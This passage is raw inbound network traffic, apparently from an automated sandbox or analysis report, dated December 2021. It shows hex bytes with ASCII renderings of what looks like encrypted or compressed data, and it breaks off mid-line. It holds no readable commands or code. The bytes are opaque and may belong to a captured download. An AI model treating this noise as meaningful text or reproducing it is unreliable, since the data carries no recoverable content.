ea 00 4d ab a0 3e 60 53 0f 44 4a 5e f7 66 da 1e 8c 15 6d 24 70 5f 08 b5 ed 51 2b 7c Data Ascii: -@kDf2nHy>3'`!'z6,5Ly~~o\|Yr8#OZlo!Q?UCit_8G 2h_(d]z($403p[piP-t<5Fnrp0n@`uV'zM>`SDJ^fm$p_Q+\|
2021-12-28 17:13:33 UTC	63	IN	Data Raw: 25 e9 41 71 6c 0a 91 1c fe 9d 1a af 83 f9 47 23 4a eb fd 5c 80 95 13 1a 4e 13 52 c5 43 ba a1 b4 1e 78 7b 7c 11 90 ed 43 51 78 66 c9 d6 11 58 16 5e 71 61 2e fd 39 cc b0 75 93 b8 20 f2 94 80 21 a6 2b d5 4e 26 f0 64 74 b4 a1 84 7c c3 28 52 64 74 72 e8 a5 47 03 e9 b4 64 13 50 9a e1 0a 4b 58 c5 91 ff 56 dd f1 3d 60 58 5a af 01 be 9c 4f 10 0e 3d 00 59 31 a6 96 26 a7 c6 dc bf 64 8d 35 34 85 63 8b c7 ca da c5 23 37 83 56 e0 ab ba 21 f4 a0 5e 1e bc f0 65 33 73 84 3e 0e 7a 16 e8 25 c3 97 ea 67 be 33 47 ad 5d 49 51 2d 43 cb 4b 20 b3 67 ab 50 a1 d3 c3 3c f5 54 ed b0 c5 c2 9e c9 6a d5 84 31 25 e6 6e 03 22 db 2b bf a9 19 09 5e fc a7 f1 46 e3 87 8f ee ff 05 19 5f d4 97 7b d8 75 74 4b 72 08 37 14 e8 48 dc 28 d0 cd 89 11 80 3b 00 3f 6b 29 f2 22 a8 a5 ed cc dc 6a c4 ac 5d Data Ascii: %AqlG#J\NRCx{\|CQxfX^qa.9u !+N&dt\|(RdtrGdPKXV=`XZO=Y1&d54c#7V!^e3s>z%g3G]IQ-CK gP<Tj1%n"+^F_{utKr7H(;?k)"j]
2021-12-28 17:13:33 UTC	68	IN	Data Raw: 75 9a a3 53 70 12 4c 3d d6 87 37 64 f0 14 50 00 52 e5 09 c2 90 7f 3b b9 00 f2 39 5c 2c 1e 95 7e 1b 49 c7 44 f5 49 26 78 ae 15 10 f9 94 c3 f1 bc d2 c1 66 dc c7 8b 18 5a fd c5 e7 60 6f e4 85 8a 1e dd 72 df 98 03 ca 04 cf cf 13 19 04 ec d2 2c 65 33 12 52 56 04 ef b9 d2 00 71 0a 5a e2 b9 6b 4b b6 4a c5 25 fa 9a 29 3c 8f b6 6a 24 e5 6a e2 fe 6a a7 87 07 24 97 d3 1f dc a9 d8 3d 6f ed 9f 5e 7e b4 49 d1 4a 58 2a f9 4f 1a 4c 8c da 0b f4 fb 9c ff 72 6f 0b 38 6f 47 e6 f2 40 f7 11 af 72 3d 08 27 c6 95 6e bb 88 91 ec 1e ee 68 f5 55 01 c8 5e d0 2c 7c 67 1a 81 e2 88 83 77 d9 cf ca 92 3f 4c f3 cd 83 97 a7 e8 88 cb 9c 07 49 15 6b 86 c1 b0 1d b0 a0 ed 26 57 c3 f5 3a e0 96 e0 82 76 38 da ca 50 ec 70 7b 56 be 50 64 a8 35 23 07 53 6e cc b0 f4 5c 9d f0 28 e2 4f 93 bf ad 76 55 Data Ascii: uSpL=7dPR;9\,~IDI&xfZ`or,e3RVqZkKJ%)<j$jj$=o^~IJX*OLro8oG@r='nhU^,\|gw?LIk&W:v8Pp{VPd5#Sn\(OvU
2021-12-28 17:13:33 UTC	72	IN	Data Raw: 16 73 f4 c1 c1 9c 24 ea 8c 05 7c e5 cd dd fc 6d 8d 1e b6 0b 06 2e 0d 5c 3c 54 24 39 13 fb 84 df 88 be 56 3e fa 67 a8 97 2f 8b 1f cb 56 05 6a 79 3d 43 3a bf ad dc bf 4d b2 84 d9 b2 7f 9c 24 0f fb c3 16 e5 42 89 03 d1 e2 45 d4 b3 fe 5b d4 c8 b0 ce 91 d9 ba 58 b9 13 05 81 28 d3 3f e3 9b a1 4a f6 e6 57 ae 6e 0f 65 05 92 6c c0 10 7f 5c 33 20 93 67 3f e6 93 b9 11 b7 33 a6 d4 54 ac 44 b7 2c 51 e5 ff 87 3d af 4e 4a 01 91 ec 10 b1 b6 55 03 2d e9 bb 0e fe 61 25 18 83 16 dd be ed ac 6b 1d d4 07 8d 43 09 ae a8 a9 65 45 f1 f0 97 9a 26 f9 36 b5 10 c3 d0 a6 9e 8f 7f 56 89 c7 e4 cf 8a d3 ee fd ac cf 3c 1f 7c 87 43 38 6c d4 a8 3b 47 8c c1 99 4c 54 57 04 75 ac df 83 69 1d 01 f3 22 6a a3 14 24 5c e3 e4 00 da ea 94 93 af fa f0 38 ec 2e e6 9a 85 d7 ff 35 e5 e6 78 b7 a9 7d bc Data Ascii: s$\|m.\<T$9V>g/Vjy=C:M$BE[X(?JWnel\3 g?3TD,Q=NJU-a%kCeE&6V<\|C8l;GLTWui"j$\8.5x}
2021-12-28 17:13:33 UTC	76	IN	Data Raw: a2 eb ca 11 8e be c8 50 a6 a2 3f 1c 5c b6 62 5b bf 76 70 25 08 dc 3a 60 79 f7 74 9c 6a ce ec ae 46 3d 37 a6 f1 5c 38 ac 73 1e 82 53 45 97 94 bb ab 04 54 1c b2 85 af fb 36 2f 7f b2 50 50 b7 90 aa 27 4f 38 95 83 0c 0b 4e bd 7a 13 77 55 27 f6 f8 66 38 6d 03 ae ba 3b 3e d3 25 00 6a 8f 34 f6 f6 78 f5 a8 71 f3 a9 70 8c 00 d5 a3 4d ce b7 b4 73 72 6e a1 be 61 2c 59 44 97 50 d1 03 0c a8 db 8a a9 56 dc bf 38 51 7f 84 41 24 cd 46 95 07 b3 65 a5 99 eb f3 0c 3a e4 a8 ab 15 5c 8d b2 b2 fc df d2 5f 71 89 fe 25 1a b4 9b e1 61 1f 50 73 a9 45 12 00 29 b2 24 c9 9b ce f0 ee f5 eb 7b 20 e2 b3 7a a9 78 12 61 93 2d df 4c f7 d8 55 75 52 ff 60 1a 8e 1a 28 78 21 56 6d e4 b8 ae d7 9b d5 98 e6 0c 65 70 ad 63 ac 0d 08 dc 33 a7 79 e1 c7 aa 4e ca 82 a3 4f b2 6a 68 c0 80 45 a7 ed f5 6a Data Ascii: P?\b[vp%:`ytjF=7\8sSET6/PP'O8NzwU'f8m;>%j4xqpMsrna,YDPV8QA$Fe:\_q%aPsE)${ zxa-LUuR`(x!Vmepc3yNOjhEj
2021-12-28 17:13:33 UTC	80	IN	Data Raw: 13 3c ef b3 0f 41 3f 45 f8 48 37 0c 04 5f 91 9f 86 55 bf 49 5c e2 fb c9 cd 65 49 e4 6b 9a 95 78 04 29 0b 26 45 07 03 6c a7 f4 3b b7 5c a9 41 4e 26 f0 fe 12 25 4b ad 11 00 5f 12 8b 0f 44 31 57 2d e1 2f 16 c7 e6 b5 be 34 dd 04 d4 b8 c6 21 af 34 27 4e ab 98 17 07 df e0 b9 1e 9c ce ac a8 48 95 3b 35 1e d0 fb ff 5e 7c 7a 31 bc 8b 20 f9 a6 47 3d 19 25 c4 73 4e 54 09 58 fa 64 e7 fe b3 c8 ce 64 2d 31 06 ce f5 e5 a8 42 77 61 c2 2d ca f8 50 b7 02 48 68 a5 93 7b e5 02 80 9a 3d bc 71 52 fb 77 13 36 f2 8b 49 55 72 30 be c2 da 02 20 0b a0 60 4f bc 22 40 1f 6b d2 3f c0 b0 10 e7 cf c4 71 b6 04 8f ff 26 8f ff 30 b5 dc 92 9e bb 69 79 29 b2 8a 6a a8 9e 52 ed 9b 58 b7 b4 74 eb 5d f7 ef db ff 54 a2 52 12 7e 7c 3b b5 fe 04 93 53 e7 ac b7 05 03 b7 93 5c 30 11 f4 aa 3d 48 78 17 Data Ascii: <A?EH7_UI\eIkx)&El;\AN&%K_D1W-/4!4'NH;5^\|z1 G=%sNTXdd-1Bwa-PHh{=qRw6IUr0 `O"@k?q&0iy)jRXt]TR~\|;S\0=Hx
2021-12-28 17:13:33 UTC	84	IN	Data Raw: 60 3a 56 ba a9 2f 3f c0 ed 47 85 36 5e c2 fc 79 93 94 2f 81 68 e9 7a 31 6f e2 5f 78 d5 8b 5a 2a ff 46 e7 80 af 7f 7e dd 99 99 6e 93 f9 0b 18 79 95 1f 4b 92 1b 59 97 96 13 2c 9f 27 3e 27 8b 4b 5b 2c f8 98 dc b0 72 b4 f5 1f c5 1f 2e 7c 79 93 80 21 cd dc ee 4b fc 7b ca f3 4c 17 2b 66 f5 38 08 47 6e 7a a0 fa 4f 1f fa d5 81 29 0c b5 ad f9 6f fa 00 7a ba a8 72 c8 29 6f b2 8d 49 d7 b7 4b 1b 8a 7b d9 51 a3 c0 b0 bd 8c e3 ba 21 bf 79 44 d2 29 ab c0 7c 45 11 da e4 38 af 60 e6 18 e7 8b cf 18 78 af c7 f9 5e 3d 9b c2 d7 30 88 40 3f 97 7f 91 96 4d dc 55 21 50 46 9a 31 89 52 8a b4 eb a1 37 6c 52 20 3a 7c 2d e6 0c d0 7c f1 13 60 c9 77 64 75 7a 25 c9 6b 05 e5 c0 07 c2 e0 b1 a9 89 f4 3e 38 dc 62 88 c2 6b 08 c8 03 75 32 b6 85 e1 5b c6 a9 bf 72 10 8c b5 71 98 04 f9 6b c0 51 Data Ascii: `:V/?G6^y/hz1o_xZ*F~nyKY,'>'K[,r.\|y!K{L+f8GnzO)ozr)oIK{Q!yD)\|E8`x^=0@?MU!PF1R7lR :\|-\|`wduz%k>8bku2[rqkQ
2021-12-28 17:13:33 UTC	88	IN	Data Raw: 53 b5 65 4c f6 a4 27 1a e5 0f 50 e7 d0 2b 73 6f 64 38 65 ab 8c 9a be 26 25 be 43 f1 1b 16 ef e2 3f b7 d1 a2 69 8f 22 d1 74 42 ea e7 9a 02 ca de d9 a7 35 e4 39 51 ee 41 5b 62 27 c7 41 4f 5f 97 1e 4a 76 4b 51 bc 9a 4e 99 31 77 54 34 7e e8 4f b1 ed 2f 2b ee f6 55 e8 c9 55 2b ec 2d e4 a0 8d 51 4b da bd c9 0a 57 3b cd 3c 0d 41 09 91 ff 90 51 7a a3 92 e3 e4 99 77 15 5a db 46 4f 61 ae 10 03 3f 7c e0 c5 db 25 21 1d c3 f0 16 c9 c1 37 7e 4e 6b 8e 58 72 50 80 e4 83 e8 7e 60 6c fe c8 ae 84 67 c3 67 0c 9f ea f3 b6 74 87 3b b8 c7 be b2 ed 3e ad 9c 68 45 86 7a 6a 6c 94 49 56 2b ce 4e 25 54 82 93 ba a2 e3 a3 6c 3a 13 2a c2 18 8e f9 cb 62 03 c1 d7 d1 79 08 67 d2 8b 59 54 f9 42 4a 59 0a b7 3b 02 6c fe bb 15 12 a0 73 01 c9 4b c2 7c 38 76 90 9d c7 09 6c dd 44 de 7c 27 b0 68 Data Ascii: SeL'P+sod8e&%C?i"tB59QA[b'AO_JvKQN1wT4~O/+UU+-QKW;<AQzwZFOa?\|%!7~NkXrP~`lggt;>hEzjlIV+N%Tl:*bygYTBJY;lsK\|8vlD\|'h
2021-12-28 17:13:33 UTC	92	IN	Data Raw: 89 91 0b 6c a5 ca 49 16 9a 75 38 96 bd 71 dd 9f 04 4b b7 14 fe 33 94 6e cc 04 d9 7e 7d 94 4a e9 7b 52 42 8c 3e e2 2f a1 78 93 2c aa fc 58 27 b3 9a e4 95 cc 1c b8 43 b8 21 a6 9e bf e8 c0 6a 0c 6a 16 8d 64 bd 3b ce 65 ba 78 98 4a 26 bf 55 fc 91 c0 a0 97 71 17 e7 13 e0 45 09 4e 2b 74 ea 57 3f 20 8b 49 17 ee b9 f1 af ba 6d 6c 23 a3 cf 8b db 3d 0a 82 ab fc 15 b8 1f 18 1d f0 6e ec c4 d0 42 53 23 61 c9 62 c3 f6 a3 12 a5 39 dc ce 51 32 79 98 46 ed 10 dc 14 16 a9 db 31 64 a3 39 65 87 c5 55 31 51 a5 de 76 1d 89 51 3f ee d5 d5 e3 88 b3 e0 f3 5e df 91 a5 35 ec 82 5e b3 21 10 31 20 ee 75 ea 42 d7 f0 89 43 91 3d ab d9 22 ff e8 cb 07 9d ac 5a 01 bd 7f 12 c8 a5 d0 56 13 6c 61 1c 58 6a 12 0b c4 61 3d 82 c6 89 2c 58 e2 79 ae a0 fc 85 32 bc 57 59 57 fe 5c 1e 50 27 e5 09 13 Data Ascii: lIu8qK3n~}J{RB>/x,X'C!jjd;exJ&UqEN+tW? Iml#=nBS#ab9Q2yF1d9eU1QvQ?^5^!1 uBC="ZVlaXja=,Xy2WYW\P'
2021-12-28 17:13:33 UTC	95	IN	Data Raw: 24 e7 ad bf 66 c3 56 42 7d 59 46 36 40 05 f0 18 27 52 a1 1c 98 8e 75 f1 75 36 e7 b6 08 f6 a3 c2 69 49 8d 6c 6e 52 08 4a 91 62 00 02 63 0a 5b 53 56 bb 1f a5 f4 9b 96 3b 20 88 61 f6 3c 66 c8 13 87 fe c6 c7 02 87 da 43 90 84 6d b3 c3 56 30 c2 ff 40 45 c5 16 71 ec ff af 4d c0 c8 40 b1 09 8b 5b 5f 15 c4 bc 1e 60 04 29 fb 14 a4 69 4f 2d cd 35 5b ce 06 fd e3 94 17 e9 06 ce 1b 73 06 87 0d 40 5a 1b e0 d5 33 17 cd 48 c9 d5 df 78 05 7a 63 a0 06 a4 87 97 4e 32 3e d3 b7 af d2 9f 00 6f 80 f1 d3 f4 d0 b1 09 ac 4e d6 84 c7 b2 43 cb e5 c0 92 32 71 9c f0 10 ec 08 30 fd db 21 9c 20 f9 9c d2 bf bc 0f 0c d3 0f 85 bf 61 5b c8 d2 20 41 c4 3c 21 94 60 f8 71 23 ab 0e 49 0d f6 2b 14 f8 40 4c 4b 3a 2d 5e 29 79 f1 76 1b a6 3a f3 b2 ce a3 e1 d4 a3 5e f1 df da ca 11 62 6d 3a 8f 00 69 Data Ascii: $fVB}YF6@'Ruu6iIlnRJbc[SV; a<fCmV0@EqM@[_`)iO-5[s@Z3HxzcN2>oNC2q0! a[ A<!`q#I+@LK:-^)yv:^bm:i
2021-12-28 17:13:33 UTC	100	IN	Data Raw: bb 69 3b 30 9f 68 0a 52 22 27 8b 72 4e 33 a0 8d 67 d5 4d 00 a6 8a d6 77 85 18 d9 8b cb b1 2a b2 d6 88 09 39 4e 90 d9 46 86 44 54 71 00 fa a5 d6 48 c2 96 45 13 76 b9 54 77 28 8b 3c 6a fb c3 ae b8 b4 be 87 20 54 a8 a3 e2 fc 53 90 d1 13 d4 78 eb bd be 3c 74 92 0b f8 89 6e 31 e7 0c 23 55 78 5f 60 aa 39 77 ae 71 d2 e3 00 7d 4b b9 a4 db 13 52 28 d4 96 ce b4 02 1e df 0b ff 9f 12 46 48 34 ba e7 31 64 6b 7b 69 8c 27 b2 e4 51 0c 12 b5 6e 11 ae 0f a7 a6 3a bd 60 7f b7 41 8a b3 d6 53 e4 ff b0 e8 0e 3e 64 1b 53 27 3e 40 36 a3 97 44 db e6 de 4a c3 b7 9c 7d d3 eb c2 8e d5 b5 8e 3b 69 e5 4c 4f 0e 01 44 26 b6 a7 ab 77 2b 91 dc 85 3e de a6 b6 f6 de 08 d0 dc b7 5a 7c dd 1b 2f 93 58 28 29 b4 1b 4a 39 6a fc cd a3 0a c6 bc 95 32 93 c0 1f c8 f0 e8 19 e7 5c 27 40 65 0f df 0d c9 Data Ascii: i;0hR"'rN3gMw*9NFDTqHEvTw(<j TSx<tn1#Ux_`9wq}KR(FH41dk{i'Qn:`AS>dS'>@6DJ};iLOD&w+>Z\|/X()J9j2\'@e
2021-12-28 17:13:33 UTC	104	IN	Data Raw: 1d b4 f9 a7 45 e5 93 c2 fb ee cb b5 03 c6 c2 14 3f 4f ff 98 98 de a2 bb f8 09 a1 76 d3 aa ab c3 72 62 62 8f be cd b0 b7 2f e0 de 07 a1 f8 ae 82 b3 a1 9d 00 ff f1 9a d7 0a 5e 57 a9 cf a8 d1 90 e9 bd 13 bc f5 93 ea e1 a7 4c ab 7e 6e eb 55 52 19 bd d8 91 cd 5a 01 a0 8b e0 78 09 99 39 2a 08 a8 af 5e 0f 77 cb 3d 58 e2 aa 84 86 2b 55 6c b5 74 e9 18 94 f3 cd 36 78 7d 5c 2d 97 ee b3 9f a2 b9 52 bf f7 97 f7 88 00 12 1c 22 a4 e3 ef e9 77 c3 9c f2 66 aa 81 ae 3e b6 51 d8 c5 5c 9f 4f f0 e3 08 14 a3 3f 3a c2 d5 ec 9b 28 b2 4c fd 1b 54 62 c1 06 67 b9 79 6c 5e 78 09 96 97 57 09 c7 d1 90 52 39 52 f4 65 2a 66 ed f7 95 32 d5 9b 09 45 14 e7 bf 8b 0b d3 2f a4 1b 23 7b 00 b8 cc 41 d4 6e 40 7b bd 64 ab fc f5 f4 db de 10 39 0c 55 06 a3 e2 e3 00 57 91 27 18 09 9c 5c 00 60 85 35 Data Ascii: E?Ovrbb/^WL~nURZx9^w=X+Ult6x}\-R"wf>Q\O?:(LTbgyl^xWR9Ref2E/#{An@{d9UW'\`5
2021-12-28 17:13:33 UTC	108	IN	Data Raw: f9 8c 35 4b b9 e4 c3 19 9b ac 9a 93 61 cf 10 cc 7c ce ef 37 9e 91 c0 65 8c cd 76 52 96 05 d2 4a 1c d6 f3 7b cb a0 c2 d9 b8 d9 46 e4 27 57 9b c4 23 e6 f3 cf b4 f7 92 c5 b7 90 f6 7f 96 16 78 dd 68 83 35 58 3a 4e d0 ea 89 d3 13 fe 9c 63 60 f9 53 6f d4 e8 72 03 1f 7f e3 7f c9 a3 90 47 eb 31 23 ed a2 50 fe 8d 64 a4 04 04 ca 1a 97 58 e8 7a c1 64 e4 8c a3 e4 d0 d3 93 e3 be fc 14 29 0e b6 4d f9 6e 60 cb c9 58 5e 35 f9 85 59 12 f6 0a f3 d6 db af 95 7c 99 36 05 89 d1 49 61 f1 c8 e2 54 5d 30 c4 b1 76 c4 3c 17 af 95 33 b9 1e 77 38 6a b6 a2 20 9f d0 47 e4 4c a7 8d 48 40 ef b3 80 c9 22 08 e9 dc 5a 71 19 ea 87 e5 79 35 3a 0f 5c cf 70 39 83 f4 59 0f c5 cf 2e ce 4c ad 8f 84 2e c5 d9 74 0b 45 c2 7a 99 6b 55 03 9d 50 c2 69 ba 7a ce d7 86 2d 35 81 1e f6 7e 05 ae b5 b0 03 d5 Data Ascii: 5Ka\|7evRJ{F'W#xh5X:Nc`SorG1#PdXzd)Mn`X^5Y\|6IaT]0v<3w8j GLH@"Zqy5:\p9Y.L.tEzkUPiz-5~
2021-12-28 17:13:33 UTC	112	IN	Data Raw: 39 52 bd 29 12 12 8c 35 41 2a 7a d0 e2 55 20 64 69 99 91 d7 0f 12 96 84 84 9a 92 1e 5c 0b 98 77 ed 97 af 61 ee f8 bb 4b 8e 36 d6 4e 67 78 27 f7 66 96 64 5f 69 a7 17 a6 c9 a9 7d 16 c4 51 75 f6 8c 18 a9 8a 0c 7d 60 9a 7e e4 4e bd 86 ad ac 96 c5 68 89 ec e7 36 4e 92 d1 8f 51 39 0c cd e2 65 86 64 04 2a c1 c0 ff d2 d1 f3 d1 36 9c 86 75 65 b6 ef 85 b3 96 be a6 e8 98 40 bc 4c d0 58 0a d3 3a e5 b0 6b 12 ea 2e 99 b4 0f b8 f4 13 ff 57 c2 30 6f f1 ef 56 4e b5 f4 0b 74 b2 82 99 77 f2 9d 81 9c 7b fa c5 c7 03 a8 55 d8 91 81 8f 40 1f 87 d6 c3 06 63 1b 43 b4 89 04 f4 0b fe 47 d2 bf c7 b4 8e 42 fd 99 94 c7 70 c4 1f 85 21 43 a2 c2 18 06 fd fe 50 05 70 96 da 41 c3 5d 1c f8 7f 57 7a 62 f6 35 4b 0e 03 fa 79 57 43 d5 84 9b b1 36 1c 14 3c 97 5d 29 19 ae 99 a8 e3 ab 85 de ac 5d Data Ascii: 9R)5AzU di\waK6Ngx'fd_i}Qu}`~Nh6NQ9ed6ue@LX:k.W0oVNtw{U@cCGBp!CPpA]Wzb5KyWC6<])]
2021-12-28 17:13:33 UTC	116	IN	Data Raw: 8d 94 55 e1 ab 0c cd c0 71 f6 78 a0 6f 22 5e 2c 73 c0 56 ed 84 f1 29 d5 06 4b 5d 7c 64 ca 82 6d 6e 61 dd 9d 6b b2 12 e5 f2 3f 51 40 2d a8 68 bd b6 03 d6 08 53 7e 37 88 46 f1 f9 41 a1 48 ea 19 1e cc fa ae ec 52 cf 43 31 c9 4e 97 a4 0a e3 4c 6c 20 a1 de 8b cc 0e b8 d6 5a 8d 0a 4b ea c0 57 8b 46 1c 79 27 13 41 41 a8 2b e8 66 18 bd a7 5a 7f c5 dc bb 71 fe d5 1c c7 a9 36 91 82 46 f7 5d a1 80 98 f2 57 ae 6b 63 35 60 db f4 07 d2 d5 a6 b0 f1 1d 7d b4 a7 7f 07 41 55 1f 5f 9e ad 94 24 f9 07 c1 0d 2e b3 2d 2a 0d 26 b1 97 51 cb e8 ed 68 aa ff 42 53 ad 8a f9 a3 a4 5f 7b 86 b4 b3 e4 b7 d8 28 cb c2 3f 87 bd 8e db 32 5f eb 09 da 6b 48 fa 49 47 c1 2c 2c 9c 82 ec 29 c7 22 aa f6 7f e5 b6 eb a7 43 59 2a 2f 4d 6b 69 e4 75 3c cf e4 50 f7 6f 9e 30 8a eb af e4 d4 93 6d f4 3c 1f Data Ascii: Uqxo"^,sV)K]\|dmnak?Q@-hS~7FAHRC1NLl ZKWFy'AA+fZq6F]Wkc5`}AU_$.-&QhBS_{(?2_kHIG,,)"CY/Mkiu<Po0m<
2021-12-28 17:13:33 UTC	120	IN	Data Raw: 3c f0 3a b1 bf c9 b5 ae f0 0e 23 43 b7 cf f8 0d 72 94 f6 1e 99 71 40 2a 3e 68 5c dc d8 e1 c2 57 cd 07 68 80 15 9a 46 18 d6 6b 6e 1f 79 6d 91 1c 5b 81 99 52 21 e7 a7 13 2b 07 23 67 df 7e b1 75 e0 27 fa 2a c6 4f 77 21 c1 98 9a 71 3f 16 af 60 fa 47 04 d8 d0 5c 34 c3 95 26 c0 3f 68 a3 03 da 9c 1c ea e2 1d e6 bf d9 7a 58 ed 85 58 de 66 57 c8 8a a0 f9 95 ab d1 e7 ef 4e 0f 29 47 c0 38 bb 01 1b 42 d1 89 2a e8 0d 36 93 5e 57 82 85 65 09 d6 03 13 d9 ef 16 e8 ea 8c 72 10 f4 e1 05 6a a2 12 5b a1 b9 ae ce e4 3e fe 04 c0 92 bf 77 c0 92 8d 15 44 59 fa 78 29 40 22 60 73 b4 db fe 05 a5 c9 d3 24 88 46 3c 53 cd 82 1e 5a 52 2f e2 50 b3 18 89 35 1f 10 3b cf 0f 44 35 ee d9 75 ce fd e5 03 a3 6f a0 72 9b 83 87 a7 f2 fd 41 cd a9 c2 49 39 48 4f 6c 00 88 32 55 9b e9 a7 53 b5 bd 18 Data Ascii: <:#Crq@>h\WhFknym[R!+#g~u'Ow!q?`G\4&?hzXXfWN)G8B*6^Werj[>wDYx)@"`s$F<SZR/P5;D5uorAI9HOl2US
2021-12-28 17:13:33 UTC	124	IN	Data Raw: 20 60 20 b5 ec aa a0 f3 a6 9a ab a0 a0 c2 83 3c 60 ba c3 ca 68 13 07 e3 9f ab 05 81 4e 8d 14 8e 33 56 24 75 97 fa 48 c6 da dd 9e b3 4b f9 25 69 0f 7b a8 ad 40 10 d4 47 86 3f 3a 52 07 62 7e a7 73 24 05 4a a9 91 2f f6 d0 2a d9 fb af 8b dc 51 2e e4 8b 0d af 11 23 5f 49 55 87 ae 46 68 16 e6 04 41 85 60 1a 7a d8 05 8a 1c b6 f0 a2 c3 24 92 26 42 e5 2b 0a 43 43 76 cb b8 cc 1d 2c b4 30 55 74 86 20 65 90 2d 7f da c0 c9 df 3c 21 bc 57 a8 33 9f d9 96 87 1d d2 2f 85 e4 0f 2f 12 26 e2 33 84 22 53 42 03 80 0f 6f bf a0 df c0 8b 51 f1 2d 3c 50 83 48 19 33 d2 9a 33 34 39 21 b4 71 d0 09 fe d5 5e f3 34 c1 f4 d9 5e 6d 12 b4 b2 20 66 91 e6 98 dc f6 8b ae 11 3e 65 2d 5a 5a c3 2a cd 14 89 cd 8e b9 1c 92 b9 ab fc 67 26 92 f5 17 39 1f 40 8e ba 14 ef 36 9c 3c 75 f3 8b 63 68 6c 23 Data Ascii: ` <`hN3V$uHK%i{@G?:Rb~s$J/Q.#_IUFhA`z$&B+CCv,0Ut e-<!W3//&3"SBoQ-<PH3349!q^4^m f>e-ZZg&9@6<uchl#
2021-12-28 17:13:33 UTC	127	IN	Data Raw: 1a de 02 6f 23 5a 03 75 be bf c7 da 94 37 79 97 90 81 9e 26 71 14 77 0b fc bd c7 21 41 18 07 e0 2c 65 b0 9f a2 05 ec 22 ba 11 70 58 ee ff b9 a5 80 62 67 39 70 58 f5 da 51 2b f8 70 f2 73 f6 0a 9e 65 bd 1f ae 18 93 35 52 66 a1 6f 8d 56 c4 55 8e 38 79 fa a5 ad 0e fa b8 e4 26 e9 4b bb 52 28 3f 23 23 d4 e3 84 43 9d c0 c3 2d 5b ea 20 b3 98 7d 69 9a b6 41 10 88 50 a7 4e 68 4a 5a 80 20 8e 1d c2 07 b0 a3 af f3 91 f5 a9 3f c2 40 39 0d 6c cf 01 50 10 a7 e5 06 a3 26 ab 29 c0 28 0c ad 95 3d 90 22 a2 8c a6 61 3a 4b 48 8b 2f 1f 24 1c 0f c7 ed 9f b4 fc 86 54 d6 aa c1 83 5d 1f 2d e4 96 24 18 39 f7 a5 aa 48 c6 d7 1a 40 d0 b4 6c 22 43 6c 81 9f 8e 3a c6 2c 60 23 67 ac ba 22 f4 7c f9 41 82 f3 50 13 14 a8 ab dd 80 2f 4d 63 ec a0 3a a2 8f 63 f7 93 1f 3e 76 e7 5f aa 62 80 be 12 Data Ascii: o#Zu7y&qw!A,e"pXbg9pXQ+pse5RfoVU8y&KR(?##C-[ }iAPNhJZ ?@9lP&)(="a:KH/$T]-$9H@l"Cl:,`#g"\|AP/Mc:c>v_b
2021-12-28 17:13:33 UTC	132	IN	Data Raw: e7 cc 7f c7 98 e9 24 65 d9 67 09 79 d2 e0 b9 a7 36 5f 98 e7 c6 2e 71 89 1a 77 b0 fe 7a 12 44 0d 10 ca a4 8b 38 7e eb ac 8a 79 c1 cf 1a 0f 08 92 85 3a 40 ef d1 36 d2 a2 bf 32 06 3c 71 bf b4 a9 c1 dd 81 3b 96 11 9c bb 28 71 fd 70 11 d0 b3 11 b4 f0 a4 30 bf d4 8d 2b 30 a9 19 01 27 17 4b c8 39 1b 89 7f de 09 eb 76 52 7d 89 f2 f7 2b 1a 55 32 c0 8b 0c a7 9b d7 06 cb 19 c2 75 8e cf 68 f5 8a 8d 3d d9 ac c1 bf 4f 61 80 03 09 e8 7e 33 49 37 d4 61 f3 4d 97 7f 19 64 0a 01 04 ec 7d bd a6 1b 73 62 7c 82 e9 ef c1 2b 3a 92 42 bb 3a d0 e2 2d d6 a8 35 c5 2a c8 ab 66 d9 7b b2 69 b7 bf ea 37 77 4e 5e 61 e0 38 12 cc d5 5e 87 39 cb 69 6a 55 07 06 47 7b 80 5e 21 9f 34 92 ab f4 0d 7b e0 a1 25 36 8b 72 17 fc df db 59 1c 95 94 8a 7e 3f fd 6e f9 3d b8 a3 fb 25 29 7c 52 8f 9c c7 04 Data Ascii: $egy6_.qwzD8~y:@62<q;(qp0+0'K9vR}+U2uh=Oa~3I7aMd}sb\|+:B:-5*f{i7wN^a8^9ijUG{^!4{%6rY~?n=%)\|R
2021-12-28 17:13:33 UTC	136	IN	Data Raw: f1 b4 3d 4f b5 9c 4f f0 92 38 cd 1f 74 af 99 30 63 d6 21 37 5a 22 7d 7e fc d4 84 11 05 41 7f 96 32 b5 60 a0 79 01 66 22 2c 79 17 72 29 58 77 54 cb ef 7f 9e ab 2d 36 43 11 48 01 93 7b 1a c5 78 dc 62 41 99 ac f1 97 a5 8c 62 83 16 09 ed 81 83 30 ff 42 64 3e 89 af 35 3a e1 8a c6 6b 41 94 8a 38 b8 cb 40 9f c5 20 99 dc 12 a6 10 31 10 35 df f8 be 99 31 d5 d5 ff c6 e3 89 e3 c1 26 cd 6a f8 68 30 03 18 63 13 22 03 8b ef 54 43 9a 2d 1d 13 4f 19 6a 98 fc 52 57 06 76 66 19 64 b2 65 f9 63 25 2a 1d e0 52 17 4c 24 ca ff 1e 72 e5 29 e4 be 7e a8 cb 59 bc be 66 b4 6e e7 77 07 37 ca e6 7f 4a b5 e3 20 52 d0 e7 d9 86 b1 7b 03 71 b3 6b 89 b1 a7 36 f5 50 53 f9 cd d0 65 12 b6 53 29 0d 85 e8 7d 6b 81 5b a2 56 5d fa 74 41 32 d1 2f 7c 2e e1 f8 3b 62 9c 18 24 17 61 36 10 92 8a b7 9c Data Ascii: =OO8t0c!7Z"}~A2`yf",yr)XwT-6CH{xbAb0Bd>5:kA8@ 151&jh0c"TC-OjRWvfdec%*RL$r)~Yfnw7J R{qk6PSeS)}k[V]tA2/\|.;b$a6
2021-12-28 17:13:33 UTC	140	IN	Data Raw: 2e 34 f1 68 7b 79 bc 40 72 5c 4c 87 74 62 3e 8e 42 2b ab 97 a9 38 1b 46 18 01 30 df e1 dc 68 57 1e c1 ac 4b 2c be c0 53 20 bf 26 cc ca 1a 6d d9 e5 36 fe 0e ba c0 0c a9 ee 71 e4 a1 d9 b9 88 2d 38 ac 5d 82 21 59 99 22 5b 0e cf 67 e5 76 af a1 00 19 9b a1 fe dc c8 03 b1 2d 07 4e ab 5c c1 19 13 57 96 00 72 de 0b 29 25 e5 c7 63 66 37 c1 7f 22 29 54 14 55 b7 06 f2 84 99 d8 ab c6 9f af 40 f2 b3 32 e5 76 0c 7a cd c8 37 bd 92 26 f6 af 45 2a 4c 9a 03 ad b0 d4 54 9e 1e 2d 22 e4 d6 12 2f b2 55 d2 af 14 5b 72 1b a0 b2 1c 36 b9 8b 6d da 49 61 d5 c6 21 5a eb 24 f9 42 2c 14 91 01 